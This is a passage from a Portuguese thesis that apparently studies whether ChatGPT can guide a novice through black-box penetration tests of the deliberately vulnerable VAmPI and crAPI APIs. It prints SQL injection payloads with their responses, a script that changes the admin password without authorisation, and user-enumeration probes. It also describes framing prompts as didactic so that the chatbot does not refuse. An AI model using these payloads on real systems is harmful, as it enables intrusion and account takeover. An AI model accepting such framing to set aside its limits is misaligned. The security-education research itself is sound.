» Generalizacao multimodal: Modelos modernos estendem-se para além do texto,
como demonstrado pelo DALL-E (geracao de imagens) [33] e Whisper (transcrigao
de dudio) [34], embora aplicagbes comerciais frequentemente especializem-se em uma
tarefa [32].

o Adaptacao contextual: Métodos de engenharia de prompt permitem personaliza-

¢ao sem retreinamento massivo, caracteristica critica para aplicagdbes empresariais

35).

Alguns exemplos comerciais notaveis de ferramentas de IA generativa sdo apresen-

tados a seguir:

e ChatGPT (OpenAl): Baseado no GPT-3.5/4, combina capacidade generativa
com didlogo contextualizado. Seu treinamento em trés estagios (pré-treinamento,
fine-tuning com Reinforcement Learning with Human Feedback, e otimizagdo para

seguranca) estabeleceu novo padrao para assistentes virtuais [35].

« DeepSeek (DeepSeek Inc.): Modelo aberto otimizado para raciocinio matemé-
tico e geracgao de cddigo, alcancando 83.1% de acurdcia no GSM8K (benchmark de
matematica elementar). Utiliza arquitetura Transformer modificada com atengao

esparsa para eficiéncia computacional [36].

e Gemini (Google): Modelo multimodal que processa texto, imagens e video si-
multaneamente. Empregou treinamento distribuido em TPUs com otimizacao de

paralelismo tensorial [37].
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2.6 LLMs no desenvolvimento de testes de seguranca de APIs

O rapido aumento da escala das web APIs acompanha o crescimento continuo dos
ambientes digitais modernos. A medida que as aplicacdes se tornam mais interconectadas,
o numero de endpoints e a complexidade dos fluxos de dados crescem, desafiando as
equipes de desenvolvimento e seguranca a acompanharem a expansao. Estudos mostram
que a evolugao das APIs exige estratégias robustas de integracdo e manutencdo para
lidar com sua complexidade crescente [14, 13]. Além disso, a automagdo de testes tem
sido apontada como uma solugao promissora para validar funcionalidades e seguranca em

ambientes de larga escala [7, 38].

Nesse contexto, as LLMs emergem como uma potencial solucao para aumentar a
eficiéncia no desenvolvimento de testes de seguranca. Ferramentas baseadas em LLMs
poderiam conseguir automatizar tanto a criacdo quanto a execucao de cenarios de teste,
reduzindo o esforco humano necessario para cobrir ambientes de grande escala. Além
disso, essas ferramentas podem ser capazes de identificar vulnerabilidades complexas,
como falhas de autorizacdo e consumo irrestrito de recursos, que seriam negligenciadas

em abordagens manuais devido a escala massiva dos sistemas [7, 10].

Um exemplo préatico dessa aplicagdo é o APITestGenie, que utiliza LLMs para
converter requisitos de negdcios e especificagbes OpenAPI em scripts de teste executaveis.
Essa abordagem alega melhorar a eficiéncia na geracao de testes e aumenta a cobertura,
permitindo que equipes detectem falhas em cenarios reais e fluxos de negdcio, mesmo em

APIs complexas [7].

Com o suporte de LLMs, equipes poderiam testar APIs em tempo real, verificando
continuamente atualizagoes e garantindo que o crescimento do ambiente nao comprometa
a seguranga. Essa automacgao permitiria nao apenas acompanhar a escala do desenvolvi-
mento, mas também oferecer uma camada adicional de protecdo contra ataques sofistica-

dos que exploram a complexidade crescente das interfaces [4].

2.7 Engenharia de Prompt

A Engenharia de Prompt emergiu no campo da Inteligéncia Artificial, especial-
mente com o advento das LLMs. Esta area se concentra no desenvolvimento e otimizacao
de técnicas para construir instrugoes eficientes que maximizem o desempenho dos modelos
de TA generativa [39]. Diferentemente da programagcao tradicional, onde o desenvolvedor
fornece instrugdes formatadas de acordo com regras claras e rigidas ao computador, a
engenharia de prompt requer uma abordagem que combine elementos de linguistica, psi-
cologia cognitiva e ciéncia da computagao para estabelecer uma comunicacao efetiva com

os modelos de linguagem [40].
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A qualidade das respostas geradas por sistemas baseados em LLMs como ChatGPT,
BERT e outros, esta intrinsecamente ligada a clareza e estruturacao do prompt inicial.
Esta relacao fundamenta-se no principio de que modelos de linguagem sao sistemas proba-
bilisticos treinados para compreender e gerar texto baseando-se em padroes encontrados
em seus dados de treinamento [41]. Assim, a formulagdo adequada do prompt torna-se

um elemento determinante para orientar o modelo na direcao desejada.

A metodologia da engenharia de prompt engloba diversos aspectos, desde a estru-
turacao sintatica até consideragoes semanticas profundas. Pesquisas recentes demonstram
que técnicas como chain-of-thought prompting e few-shot learning podem aumentar signi-
ficativamente a precisao e relevancia das respostas geradas [2]. Além disso, a inclusao de
elementos contextuais especificos e a definicao clara de papéis e expectativas no prompt

tém-se mostrado estratégias eficazes para aprimorar o desempenho dos modelos [42].

2.7.1 Chain-of-Thought Prompting

O método chain-of-thought prompting baseia-se na introducao de passos interme-
diarios de raciocinio ao longo do prompt para guiar o modelo a uma resposta mais precisa
e estruturada. Em vez de fornecer uma tinica instrugao ou pergunta, esse método encoraja
o modelo a 'pensar em voz alta’, explicitando o processo loégico que leva a solugao de um

problema [2].

A Figura 2 ilustra a diferenca entre o Standard Prompting e o Chain-Of-Thought
Prompting ao resolver problemas matematicos. No Standard Prompting, o modelo recebe
uma pergunta e gera uma resposta diretamente, como no caso em que calcula o nimero
total de macas na cafeteria sem explicar o processo. Por outro lado, no Chain-Of-Thought
Prompting, o modelo ¢ instruido a dividir a tarefa em etapas claras e sequenciais. Por
exemplo, ao calcular o nimero de macas restantes, o modelo primeiro subtrai as ma-
¢as usadas do total inicial e depois adiciona as novas macgas compradas, explicando cada
passo do raciocinio. Essa abordagem incremental ajuda o modelo a lidar com questoes
mais complexas, pois permite que ele processe e justifique cada parte do problema antes
de chegar a resposta final. Estudos recentes indicam que essa abordagem melhora signi-
ficativamente a precisao em benchmarks como o GSM8K, onde problemas matematicos
sao resolvidos com uma logica explicita, superando até mesmo modelos ajustados para

tarefas especificas [2].

2.7.2 Few-Shot Learning

O few-shot learning explora a capacidade dos modelos de aprender a partir de
um numero limitado de exemplos. Em vez de treinar o modelo com grandes volumes de

dados, o few-shot learning insere poucos exemplos diretamente no prompt para demonstrar
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Standard Prompting Chain-Of-Thought Prompting

Model Input Model Input

Q: Roger has 5 tennis balls. He buys 2 more cans of tennis

Q: Roger has 5 tennis balls. He buys 2 more

of tennis balls. Each can has 3 tennis balls. How balls. Each can has 3 tennis balls. How many tennis balls
many tennis balls does he have now? does he have now?
A: The answer is 11. A: Roger started with 5 balls. 2 cans of 3 tennis balls each is|

6 tennis balls. 5 + 6 = 11. The answer is 11.

(: The cafeteria had 23 apples. If they used 20

to make lunch and bought 6 more, how many Q: The cafeteria had 23 apples. If they used 20 to make
mes do they have? -/ Iuch and bought 6 more, how many apples do they have?
Model Output Model Output
. . "A: The cafeteria had 23 apples originally. They
A: The Answer is 27 ‘ used 20 to make lunch. So they had 23 - 20 = 3.

They bought 6 more apples, so they have 3 + 6 =
9. The answer is 9."

Figura 2 — Exemplo de aplicagdo do método Chain-Of-Thought, retirado do artigo [2]

a tarefa desejada. Esses exemplos, chamados de ’demonstracoes’, sao cuidadosamente

escolhidos para representar diferentes aspectos do problema [29, 43].

Por exemplo, para uma tarefa de classificagao textual, o prompt pode incluir trés
ou quatro frases com classificagoes atribuidas, seguido de uma frase sem classificacao que
o modelo deve analisar. Essa técnica é especialmente 1til para adaptar modelos pré-
treinados a novos contextos sem necessidade de ajuste fino (fine-tuning), o que a torna
eficiente em termos de tempo e recursos computacionais. Além disso, o few-shot learning
é amplamente utilizado em cenarios onde os dados anotados sao escassos ou indisponiveis,

como em novas linguas ou dominios especializados [29].

A Figura 3 ilustra um exemplo de few-shot learning aplicado a classificagdo de
sentimentos em avaliagoes de texto. O primeiro cenério, 'Input: sem exemplos’, mostra
uma avaliagao sem classificacao prévia, onde o modelo deve inferir o sentimento com base
apenas no texto fornecido. O segundo cenario, 'Input: um exemplo’, inclui uma demons-
tracdo de classificacao positiva, seguida de uma avaliacao sem classificacao. O terceiro
cenario, 'Input: multiplos exemplos’, apresenta varias avalia¢gbes com classificacoes atri-
buidas, demonstrando como o modelo pode aprender a partir de miltiplos exemplos para
classificar novas entradas. Essa abordagem permite que o modelo generalize a partir de

poucos exemplos, adaptando-se rapidamente a novas tarefas de classificagao.

2.7.3 Elementos Contextuais

Outro aspecto da engenharia de prompt é a inclusao de elementos contextuais

especificos que permitem ao modelo entender melhor o cendrio da interacdo. Isso pode
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Input: sem exemplos Input: um exemplo Input: miltiplos exemplos
Classifique esta avaliagao: Classifique esta avaliagéo: Classirig ue es_ta avaliagao:
Eu amei este filme! Eu amei este filme! Euamei este filme!
Sentimento: Sentimento: Positivo Sentimento: Positivo

Classifique esta avaliagio:

Classifique esta avaliagao:
Eu néio gosto desta cadeira. Eu ndo gosto desta cadeira.

Sentimento: Sentimento: Negativa

Classifique esta avaliagao:
Quem usaria este produto?
Sentimento:

Figura 3 — Exemplos de Few-Shot Learning

incluir informagoes sobre o ptublico-alvo, a aplicagdo pratica do contetido ou até mesmo
detalhes temporais e geograficos. Por exemplo, ao projetar um prompt para um modelo
que deve responder a questoes legais, ¢ importante incluir detalhes sobre a jurisdigao

relevante, para que as respostas sejam aplicaveis ao contexto [39].

Uma técnica relevante utilizada para inserir contexto ao chatbot é a Defini¢ao
de Papéis. A definicdo clara de papéis e expectativas no prompt é uma técnica que
ajuda a orientar o modelo quanto a sua funcao em um dado cenario. Por exemplo, ao
interagir com o modelo, um prompt pode instrui-lo a ’agir como um assistente juridico’ ou
‘responder como um especialista técnico em redes de computadores’. Essa abordagem nao
apenas restringe o escopo das respostas, mas também melhora a consisténcia do contetido
gerado, alinhando-o ao propédsito especifico da interagao [44]. No entanto, o uso dessa
técnica também possui um lado controverso, exemplificado por praticas como o jailbreak,
onde usuarios conseguem convencer o chatbot a contornar as restricoes dos modelos de
linguagem, como o caso do Do Anything Now (DAN) [45]. Essa pratica levanta questoes
éticas importantes, como o uso responsavel de tecnologia e os possiveis impactos negativos

que podem surgir ao explorar falhas em sistemas projetados para seguranca e alinhamento
46].
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3 MATERIAIS E METODOS

3.1 APIs

Durante o desenvolvimento do trabalho, foram testadas duas APIs intencional-
mente vulneraveis criadas para o estudo de praticas de seguranca, sao elas: VAmPI [47]
e crAPI [48]. As duas APIs contém falhas conhecidas e citadas na OWASP Top 10 [15] e
foram executadas localmente utilizando containers Docker no aplicativo Docker Desktop
em um computador com sistema operacional Windows. O comando abaixo foi utilizado

para instalar e executar a imagem da AP/ VAmPI.

docker run -e vulnerable=1 -p 5000:5000 erevOs/vampi:latest

Para instalar e executar a imagem da API crAPI, foram utilizados os comando a seguir.

curl -o crapi.zip https://github.com/0OWASP/crAPI/archive/refs/heads/
develop.zip

tar -xf .\crapi.zip

cd .\crAPI-develop\deploy\docker\

docker compose pull

docker compose -f docker-compose.yml --compatibility up -d

3.1.1 VAmPI

Uma RESTful API desenvolvida com o framework Flask da linguagem Python,
autenticacao baseada em tokens JW'T, ambiente configuravel por linha de comando que
ativa ou desativa as vulnerabilidades presentes na API e define o tempo de vida dos to-
kens de autenticacdo. O repositério do projeto também inclui a documentacdo da API
em formato OpenAPI3 e cole¢oes Postman para facilitar o processo de testes [47]. O
aplicativo implementado consiste em um sistema de livros, onde usuarios podem se regis-
trar para gerenciar seus livros. Os endpoints presentes, seus respectivos métodos HTTP
e uma descri¢ao de suas funcionalidades estao descritos na Tabela 1. As vulnerabilidades

presentes na API sao descritas a seguir:

« Injecao de SQL (SQL Injection): Permite a execucao de comandos SQL mali-

ciosos, comprometendo o banco de dados da aplicacao.

« Alteragdo de Senha Nao Autorizada (Unauthorized Password Change)
Permite que um usuario modifique a senha de outro sem a devida verificacao de
identidade.
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Método | endpoint Descricao
GET /createdb Cria e popula o banco de dados com dados ficticios
GET / Péagina inicial da API
GET /me Exibe dados do usuério autenticado
GET Jusers/v1 Exibe todos os usudrios cadastrados com informacoes
bésicas
GET Jusers/v1__debug Exibe todos os dados dos usudrios cadastrados
POST /users/v1/register Registra um novo usudrio
POST Jusers/v1/login Realiza o login e retorna um token JWT
GET Jusers/v1/{usuério} Exibe as informagoes do usuério especificado no wurl
DELETE | /users/v1/{usudrio} Apaga o usudrio especificado (Funcionalidade de admi-
nistradores)
PUT Jusers/v1/{usudrio}/email Atualiza o email do usuério especificado
pPUT /users/v1/{usudrio}/password | Atualiza a senha do usuario especificado
GET /books/v1 Recupera todos os livros disponiveis
POST /books/v1 Adiciona um livro (titulo 4+ segredo)
GET /books/v1/{livro} Recupera um livro junto com seu segredo

Tabela 1 — Métodos HTTP, endpoints e descri¢ao de suas fungoes - VAmPI

e Quebra de Autorizagao em Nivel de Objeto (Broken Object Level Autho-

rization): Usuérios podem acessar, modificar ou excluir recursos que nao deveriam

estar disponiveis para eles.

« Atribuicdo Massiva (Mass Assignment): A API aceita dados arbitrarios no

corpo da requisi¢ao, permitindo que campos sensiveis sejam manipulados indevida-

mente.

« Exposicao Excessiva de Dados pelo Endpoint de Debug (Excessive Data

Exposure): Informagoes sensiveis de todos os usudrios sao expostas publicamente

por meio de um endpoint de depuracao.

« Listagem de Usuario e Senha (User and Password Enumeration): Men-

sagens de erro distintas permitem descobrir quais usuarios existem e até adivinhar

senhas.

e RegexDOS (Negagao de Servigo com Expressdes Regulares): Uso de ex-

pressoes regulares mal elaboradas permite que um invasor provoque lentidao ex-

trema ou falhas no sistema.

o Falta de Limitacdo de Recursos e Taxas (Lack of Resources € Rate

Limiting): A auséncia de limites para requisi¢bes permite ataques como forga

bruta ou negacao de servigo (DoS).

» Bypass de Autenticacdo JWT por Chave Fraca (JWT Authentication

Bypass via Weak Signing Key): A utilizagdo de uma chave de assinatura fraca

permite forjar tokens de autenticacao validos.
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3.1.2 crAPI

crAPI (Completely Ridiculous API) [48] é uma aplicagdo web de demonstragao
modelada como uma plataforma B2C (Business-to-Consumer) voltada para servigos au-
tomotivos. Projetada com uma arquitetura moderna baseada em microsservigos, a crAPI
simula um ambiente realista onde usuarios finais podem gerenciar seus veiculos, agendar
servigos de manutencao com mecanicos, adquirir acessorios automotivos e interagir com

outros usuarios por meio de um espago comunitario.

O principal objetivo da crAPI é servir como um ambiente controlado, porém in-
tencionalmente vulneravel, para fins de testes de seguranca, demonstragoes educacionais
e capacitacdo em ciberseguranca de APIs. E amplamente utilizada em treinamentos, la-
boratérios praticos e competigoes de seguranca como CTFs (Capture The Flag). Usuérios

autenticados na aplicacao podem:

« Criar e gerenciar contas pessoais.

o Registrar e administrar seus veiculos.

o Pesquisar por oficinas mecénicas disponiveis.

o Solicitar servicos de manutengao para seus carros.
o Comprar acessorios automotivos de fornecedores.

o Participar de um blog comunitario com postagens e comentarios.

A crAPI foi construida com uma arquitetura distribuida e modular. A Tabela 2

apresenta todos os servigos e faz uma breve descricao de suas fungoes.

Servico Funcao

web Servigo principal de entrada da aplicacao

identity Endpoints de autenticacao e gerenciamento de usuarios
community | Funcionalidades de blog e comentarios da comunidade
workshop Gerenciamento de veiculos e agendamento de servigos
maillhog Servico simulado de envio de e-mails

mongo Banco de dados NoSQL utilizado por alguns servigos
postgres Banco de dados relacional utilizado para dados transacionais

Tabela 2 — Tabela de Servigos e suas Fungoes - crAPI

Assim como a VAmPI, a crAPI é intencionalmente vulneravel e apresenta diversas
vulnerabilidades listadas pela OWASP Top 10 [15]. S&o elas:

« BOLA (Broken Object Level Authorization): Acesso indevido a dados de

veiculos e relatérios de outros usuarios manipulando identificadores.
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o Broken User Authentication: Redefinicao de senhas de terceiros explorando

fluxos inseguros.

o FExcessive Data Exposure: Endpoints que expoem informagoes sensiveis ou pro-

priedades internas nao destinadas ao usuario.

e Rate Limiting Inexistente: Possibilidade de ataques DoS via recursos como

“contact mechanic’.

« BFLA (Broken Function Level Authorization): Acesso nao autorizado a

funcionalidades como exclusao de videos de outros usuarios.

e Mass Assignment: Modificacdo indevida de propriedades sensiveis como valor

de reembolso e saldo de conta.

o SSRF (Server-Side Request Forgery): Capacidade de forgar o servidor a fazer

requisicoes HTTP para destinos arbitrarios.

e Injecao NoSQL: Injecdo de consultas maliciosas para obter cupons ou dados sem

permissao.

e Injecao SQL: Manipulacao do banco relacional para reutilizar cupons ou alterar

registros.

e Vulnerabilidades de token JWT: Possibilidade de forjar tokens JWT vélidos e

obter acesso administrativo.

o Unauthenticated Access: Existéncia de endpoints acessiveis sem autenticagao

adequada.

3.2 Metodologia

O objetivo deste trabalho é realizar um estudo de caso envolvendo testes de
vulnerabilidade, onde um desenvolvedor inexperiente em seguranca cibernética, usando
ChatGPT-40 mini, tenta realizar testes de invasdao em uma RESTful API. Antes de co-

megar os testes, estabelecemos algumas regras para delimitar o escopo do experimento:

1. Os testes realizados devem seguir a abordagem de caixa preta, o que significa que
a pessoa responsavel pelos testes nao tem acesso ao codigo-fonte, documentacao
técnica ou estrutura de banco de dados da API. O processo simula, intencionalmente,
o ponto de vista de um invasor externo, que precisa descobrir todas as informagoes
necessarias a partir da observagao do comportamento da A PI em tempo de execucao.
Para isso, as estratégias de exploracao, os planos de ataque, a escolha de ferramentas,

a analise de respostas e a descoberta de novos endpoints devem ser conduzidas com
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base nas instrucoes e orientagoes fornecidas pelo chatbot, sempre respeitando os

limites do escopo caixa-preta.

2. O objetivo central deste trabalho é avaliar a capacidade do chatbot como ferramenta
auxiliar no processo de testes de seguranca. Essa avaliacdo nao se limita apenas
a execucao dos testes em si, mas considera diversos fatores relacionados a perfor-
mance do modelo de linguagem durante o processo interativo. Mais especificamente,

buscou-se observar:

o A capacidade do chatbot de identificar e propor testes relevantes mesmo sem

conhecimento prévio da aplicagao;

o A cobertura dos testes sugeridos, isto é, se o chatbot é capaz de orientar o

testador a explorar todas (ou a maior parte das) vulnerabilidades da API alvo;

o A clareza e coeréncia nas explicagoes fornecidas, em relagdo a logica por tras

dos ataques e dos passos sugeridos;

e A ocorréncia de alucinacoes, ou seja, momentos em que o chatbot fornece infor-

macoes incorretas, cria funcionalidades inexistentes ou sugere ac¢oes invalidas;

o A capacidade de adaptacgao e raciocinio progressivo, a medida que novos dados
sao apresentados e os resultados parciais dos testes sao retornados ao chatbot

para reavaliacao.

Para avaliar estes pontos, o testador deve conduzir toda a exploracao da aplicagao
por meio de interagoes com o chatbot, utilizando prompts para solicitar orientagoes
sobre os proximos passos, esclarecer dividas conceituais e interpretar respostas re-
cebidas da API Todas as decisoes de acao, desde a definicao do plano de ataque até

a analise dos resultados, devem ser baseadas nas instrucoes fornecidas pelo chatbot.

3. Caso o chatbot apresente comportamentos inadequados, como insisténcia repetitiva
em procedimentos ineficazes ou ocorréncia de alucinagoes, é permitido que o testador
recorra a fontes externas para buscar informagoes que corrijam ou redirecionem a
interacao. No entanto, essa consulta deve se limitar ao estritamente necesséario para
restaurar a coeréncia do processo. Apods essa intervencao, o testador deve retomar

o fluxo padrao, baseando-se exclusivamente nas interacdes com o chatbot.
Tendo estabelecido as regras, eis o processo realizado nos testes:

1. Inicialmente o chatbot deve ser contextualizado a respeito da sua fun¢ao. Informa-
mos ao chatbot que o papel dele é auxiliar um testador no processo de testes de uma
API, que tém como objetivo simular a rotina de um invasor que pretente abusar de
vulnerabilidades nesta API significando que os testes feitos serao de caixa-preta.

Adicionalmente, ele deve ser informado que estes testes tém fim didatico ou que
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estdo sendo realizados em um ambiente de staging, caso contrario ele reconhece
o procedimento como algo ilegal e é obrigado a nao lhe ajudar. Um exemplo de

prompt inicial:

’ChatGPT eu estou encarregado de testar uma A PI, procurando vulnera-
bilidades que podem ser exploradas por invasores, e vocé sera meu auxiliar
neste processo. Nos devemos simular a rotina de um invasor, partindo de
um endpoint e entao, descobrindo possiveis vetores de ataque, tudo sem
conhecer a implementacao da aplicagao em si, como em testes de caixa-
preta. E importante esclarecer que este processo ¢ puramente didético, a
[nome da API| é uma API intencionalmente vulnerdvel, com o propésito

de servir como ambiente de estudo sobre praticas de segurancga.

2. O préximo passo é formar um Plano de Ataque. Pedimos que a partir do endpoint

inicial, ele forme um plano de ataque para ser seguido.

"Faca um plano de ataque com um passo a passo para seguirmos. O nosso

endpoint inicial é /login’

3. O plano de ataque fornecido pelo chatbot deve ser seguido etapa por etapa. Para
cada passo, o testador deve interagir com o chatbot solicitando instrugoes sobre como
executa-lo, esclarecendo duvidas técnicas quando necessario e pedindo orientagoes
sobre como instalar e utilizar ferramentas especificas, caso sejam exigidas. Sempre
que um teste for realizado e produzir alguma saida (como uma resposta da API ou
um erro retornado), esses resultados devem ser enviados de volta ao chatbot, para

que ele possa analisa-los e indicar os proximos passos com base no contexto obtido.

4. O processo descrito no item anterior deve ser repetido de forma iterativa, refinando
continuamente os testes com base nas respostas obtidas e nas orientacoes do chatbot.
A exploragao prossegue até que o testador considere que a cobertura dos testes é
satisfatéria ou que os principais vetores de ataque tenham sido adequadamente

investigados.



4 ANALISE E DISCUSSAO DE RESULTADOS

Com base no processo metodologico descrito, os dois experimentos seguiram a
mesma estrutura inicial: a definicdo do papel do ChatGPT como assistente no processo
de testes, a contextualizacdo do ambiente da API em questdo e a caracterizagao de seu
uso didatico como plataforma segura para experimentacao, através de um prompt como
o exemplo descrito no primeiro passo da se¢ao de metodologia. A seguir estdao descritos o

processo seguido em cada experimento apds a contextualizacao.

4.1 Testes na API VAmPI

Apos a contextualizagdo inicial, o proximo passo seguindo a metodologia é o plano
de ataque. O primeiro passo do plano consistiu no reconhecimento dos endpoints dis-
poniveis na API, partindo do endpoint inicial, ’/users/v1/login’. No entanto, devido a
auséncia de uma interface grafica e a ineficacia de técnicas automatizadas como o fuzzing
para descoberta de rotas, tornou-se necessario fornecer ao chatbot uma lista de endpoints
da API, acompanhada de descrigoes de suas funcionalidades. Com essas informacoes, o
chatbot foi capaz de identificar os principais tipos de vulnerabilidades a serem exploradas

no plano de ataque, associando-os a endpoints relevantes:

« Inje¢cbes e Manipulacdo de Entrada: nos endpoints ‘/users/v1/login‘, ‘/u-

sers/vl /username’ e ‘/books/v1/book-

« Exposicao de Dados Sensiveis: em endpoints como ‘ /users/v1/login‘, ‘ /users/v1/_debug
e ‘/books/v1/book".

« Autenticagdo e Autorizagao: endpoints como ‘/me’, ‘/users/v1/username’, ‘/u-

sers/vl/ debug e ‘/users/vl/username/password"

« Rate Limiting e DoS: aplicavel a endpoints de login e cadastro para verificar

restrigoes e resisténcia a sobrecarga.

4.1.1 Injecoes e Manipulacao de Entrada

Ao listar as possiveis vulnerabilidades da API, o chatbot sugeriu comecar com
testes de injecao SQL no endpoint de login. Ele foi capaz de formar testes simples e
efetivos, montando um script que permite o envio de um payload personalizado ao endpoint

escolhido. Os resultados de 3 testes de injecao SQL a seguir:
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O primeiro teste, realizado no endpoint ’/users/v1/username’ demonstra um su-
cesso de injecdo. Ao forcar um argumento verdadeiro, o banco de dados da aplicacao

retorna o primeiro usuario armazenado.

Testando payload: > OR ’1’°=’1
URL: http://127.0.0.1:5000/users/v1/%27%200R%20%271%27%3D%271
Resposta (200): {’username’: ’namel’, ’email’: ’maill@mail.com’}

O segundo teste, ainda no endpoint ‘/users/v1l/username‘, tem o intuito de fechar
parte da consulta SQL utilizando as aspas simples, e logo apds, comentar todo o resto
da consulta utilizando a marcacao de comentario SQL. Este teste assume que a consulta
realizada ao banco de dados pela API possui outras verificagbes apds a verificacdo de
nome de usudrio e tenta fazer com que o banco ignore-as através da injecdo. O retorno
da requisicao demonstra que o teste obteve éxito.

Testando payload: admin’ --

URL: http://127.0.0.1:5000/users/v1/admin%27%20--

Resposta (200): {’username’: ’admin’, ’email’: ’admin@mail.com’}

O terceiro teste, também realizado no endpoint ‘/users/v1/username’, foi encur-
tado pois resulta no retorno de uma pagina HTML pelo debugger da aplicacgao. Podemos
observar um alerta de erro do banco de dados, que expoe a implementacao da consulta
ao banco de dados pelo aplicativo, que é uma informacao valiosa.

Testando payload: > UNION SELECT NULL, username, password FROM users --
URL: http://127.0.0.1:5000/users/v1/%27%20UNION%20SELECT’20NULL%2C%20
username %2C%20password%20FROM%20users’20--
Resposta (500): <!doctype html>
<html lang=en>
<head>
<title>sqlalchemy.exc.0OperationalError: (sqlite3.0OperationalError)
SELECTs to the left and right of UNION do not have the same number of
result columns

[SQL: SELECT * FROM users WHERE username = ’’ UNION SELECT NULL,

username , password FROM users --’]

4.1.2 Exposicao de dados sensiveis

Durante os testes de injecao SQL, também foi possivel confirmar a presenca de
vulnerabilidades relacionadas a exposicao de dados sensiveis. O chatbot foi capaz de
interpretar mensagens de erro geradas por falhas em requisigoes de login feitas durante
os testes, identificando nelas pistas que permitiam fazer inferéncias sobre os usudarios

cadastrados no sistema.
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me ajude novamente a escrever uma injecdo sql para o endpoint /
users/v1/{username}

Claro! Vamos montar uma estratégia de SQL Injection para o endpoint:

@, Endpoint alvo

bash & Copiar ¥ Editar

GET /users/vl/{username}

Esse endpoint recebe o username diretamente na URL, o que é uma entrada critica e potencialmente
vulneravel — especialmente se os dados ndo forem devidamente sanitizados antes de construir a query no
back-end.

Figura 4 — Teste de Injecao SQL - especificando o endpoint alvo

Possiveis Payloads para Testar
A ideia & quebrar a query original, inserir comandos SQL adicionais, ou enganar a légica de autenticagéo.
|| Bésicos:
plaintext & Copiar ¥ Editar
"OR '1'="1
' OR 1=1 -

admin® --

admin® OR "1'="1

2

» Tentativas para forgar retorno de mais de um usuario:

plaintext & Copiar ¥ Editar

" UNION SELECT NULL, email FROM users --
' UNIOM SELECT NULL, username FROM users --
' UNION SELECT NULL, username, password FROM users --

Alguns desses payloads s&o vélidos apenas se a query interna for algo como:
sgl & Copiar ¥ Editar

SELECT * FROM users WHERE username = '<input>°;

E ndo estiverem usando prepared statements.

Figura 5 — Teste de Injecao SQL - payloads sugeridos pelo ChatGPT

Essas mensagens variavam de acordo com os dados fornecidos na requisicao, o que
acabou revelando informacoes sensiveis sobre o funcionamento interno da API Um dos
exemplos observados ocorreu durante a execucao de um payload de injecao SQL:

1 Testando payload: {’username’: ’’ QR ’1’=’1’ --’  ‘’password’: ’

qualquercoisa’}

2 Resposta (200): { ’status’: ’fail’, ’message’: ’Username does not exist
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A resposta indica claramente que o nome de usudrio fornecido nao esta presente
no banco de dados. Isso ja constitui uma vulnerabilidade de enumeracao de usuérios, pois
permite testar diferentes nomes até encontrar um existente. Em uma segunda tentativa,
com um nome valido, porém senha incorreta, a mensagem retornada muda, tornando a
distin¢gdo de quais usuarios estao cadastrados no sistema:

Testando payload: {’username’: ’admin’, ’password’: ’senha_errada’}

Resposta (200): { "status": "fail", "message": "Password is not correct

for the given username."}

4.1.3 Autenticagao e Autorizacao

A API apresenta uma falha de verificagao de privilégios que permite a um usué-
rio autenticado modificar informacoes de outros usuarios. Quando foi solicitado ao chatbot
que auxiliasse na identificacao de vulnerabilidades no endpoint ' /users/v1/username/password’,
ele elaborou um plano de testes, ilustrado nas Figuras 6, 7 e 8. A vulnerabilidade ex-
plorada consiste em tentar alterar a senha de um usuario conhecido — como o admin,
descoberto durante a enumeracgao de usuarios, ou outro obtido por meio de injecao SQL —
sem estar autenticado como o proprio dono da conta. Inicialmente, a tentativa é feita sem
o uso de um token de autenticacdo, e a API responde corretamente com uma mensagem
de erro informando que o token é necessario. Em seguida, a requisicao é repetida, mas
desta vez incluindo o token de autenticacdo de um usuario diferente do proprietario da
conta. Concluindo este teste, a alteracao da senha é realizada com sucesso, evidenciando

a auséncia de uma verificagdo adequada de permissoes nesse endpoint.

Foi identificada também uma falha de autorizagdao que resulta na exposi¢do de
dados sensiveis. O endpoint /books/v1/{livro}, que deveria restringir o acesso as in-
formagoes de um livro apenas ao seu respectivo proprietario, nao realiza uma verificacao
adequada da identidade do solicitante. Como consequéncia, qualquer usuario autenticado,
desde que possua um token valido, consegue acessar o nome e o segredo do livro, mesmo

que nao seja seu dono legitimo.

4.2 Testes na API crAPI

Nesta API, a exploracao e descoberta de endpoints foi feita manualmente, por
sugestao inicial do chatbot. Ao realizar o registro de um usuério e navegando por funci-
onalidades, anotando os cédigos URL e fazendo descri¢cdes sobre a interface, foi possivel
criar uma lista descritiva do ambiente. Um exemplo de construcao da lista de endpoints

enviada ao chatbot:
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PUT /users/vl/{username}/password
Se esse endpoint estiver vulneravel a falta de autenticacéo ou a SQL injection, podemos:
e Alterar a senha de qualquer usudrio (ex: admin )
¢ Ganhar acesso total 4 conta com a nova senha

e Testar depois via /login

[ Plano de ataque (sem token):
1. Enviar um PUT para /users/vl/admin/password
2. Payload com nova senha

3. \erificar se conseguimos fazer login com ela

Figura 6 — Teste de Escalonamento horizontal de autenticacao - plano de ataque

Script para alterar a senha do admin sem token
pythen & Copiar ¥ Editar
import requests
url = "http://localhost:5e088/users/vl/admin/password”
payload = {
“password”: "novasenh@l23”
response = requests.put(url, json=payload)

print(f"Status: {response.status_code}™)

print(“Resposta:”, response.text)

P Se funcionar:

Agora vocé pode fazer login com:

json & Copiar ¥ Editar
{

"username": "admin",

“password™: “novasenh@l23”
}

Se o login retornar um token, significa:
¥ Falha grave: AP| permite alteracdo de senha sem autenticagéo

¥ Isso viola principios bésicos de controle de acr“j;o (Broken Access Contral)

Figura 7 — Teste de Escalonamento horizontal de autenticacao - script e resultado espe-
rado



41

[2] Caso precise testar com autenticacdo:

Se a API exigir um token, vocé pode testar isso incluindo no header:
python & Copiar ¥ Editar

headers = {
"Authorization": "Bearer <token_aqui>"

response = requests.put(url, json=payload, headers=headers)

Figura 8 — Teste de Escalonamento horizontal de autenticacao - caso com token

http://localhost:8888 /login, pagina de login, possui 2 campos de entrada, um de

email e outro de senha.

http://localhost:8888 /forgot-password, acessivel ao clicar forgot your password na
pagina de login, existe um campo para inserir o email da conta, e apds clicar em

um botao, envia um One Time Password para alterar a conta com uma senha nova.

http://localhost:8888 /signup, pagina de registro de usuério, tem campos de entrada

para nome, email, telefone, senha e confirmacao de senha.

http://localhost:8888 /dashboard, pigina de navegagao, alguns botoes para mudar
de pagina e um botao com a funcionalidade verify-vehicle para adcionar um veiculo

ao aplicativo.

http://localhost:8888 /orders?order id=(idDeUmPedido) pagina que exibe informa-

¢oes a respeito de um pedido.

Com estas informagdes, ele formulou a seguinte lista de possiveis vulnerabilidades para

teste:

Cadastro e Login

Endpoints: /signup, /login, /forgot-password, /reset-password

— Forga bruta (Brute Force)

Injecao de SQL

Cross-Site Scripting (XSS)
— Validacao inadequada do OTP

Gestao de Perfil e Dados Sensiveis

